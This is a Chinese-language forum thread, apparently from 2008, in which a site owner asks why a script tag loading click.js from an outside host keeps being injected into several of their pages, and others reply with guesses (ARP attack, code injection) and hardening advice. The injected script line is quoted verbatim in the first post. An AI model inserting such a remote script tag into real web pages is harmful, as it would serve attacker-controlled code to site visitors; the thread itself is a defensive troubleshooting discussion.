我的主页隔天不能显示文字问题

willl32

我的主页隔天都在我的index/conn/top/Top-up文件中加入以下javascript代码！导致服务器文字部分完全不能显示！不知道是何种原因。检查了下是ARP的一种攻击。请朋友指教！谢了
代码：
<script language="javascript" src="http://ccon.ezua.com/click.js?id=625478035&logo=3"></script>

hmglly

你的网络有漏洞，导致恶意程序对你的程序进行恶意代码的注入

ipaddr

可能是ARP攻击。

也可能是整台服务器上的网页，被人更改了。

willl32

我原来也认为我的服务器有问题，但是托管在这部服务器的主页就只有这个网站有问题，其他网站都正常的。后来我把网站托管到另一个服务器还是这样！问题依然存在这个特定的网站。

hmglly

那就是你网站的问题了
仔细想想，人家访问的是url，又不是机器ip，和机器是没关系了

ye57568587

你的网站被黑客攻击了,解决最好的方法是修改网页文件是权限,把中毒网页文件设为只读,不能写入,这样JS代码永远不会再有.不懂加我QQ:57568587,有求必应

todayhero

原帖由 willl32 于 2008-6-13 13:13 发表
我的主页隔天都在我的index/conn/top/Top-up文件中加入以下javascript代码！导致服务器文字部分完全不能显示！不知道是何种原因。检查了下是ARP的一种攻击。请朋友指教！谢了
代码：

解决办法:对外提供尽可能小的服务

1.开启防火墙服务,只开放必须要开放的服务.其它所有的服务,全部禁止外部服务.这里我们只开80端口.其它的全关.这样做的好处,可以避免其它服务的BUG导致的侵入.

2.停止不必要的服务,如日志分析,awstat或是sendmail这些没必须的服务.或是临时可以关闭几天的服务.

3.由于对处只提供了WEB服务+WEB程序,那么对方入侵的可能就相对集中到WEB服务器+WEB程序,针对此,升级WEB服务器版本为最新版本.若是还没有入侵,那就是你WEB程序有BUG.自己想办法吧!我们公司的phpwind论坛就出现过.javascrip会别人改过,这是phpwind的一个bug

4.系统本身也会BUG,但通常入侵的机会比较小.入侵的高手必竟还是极少的.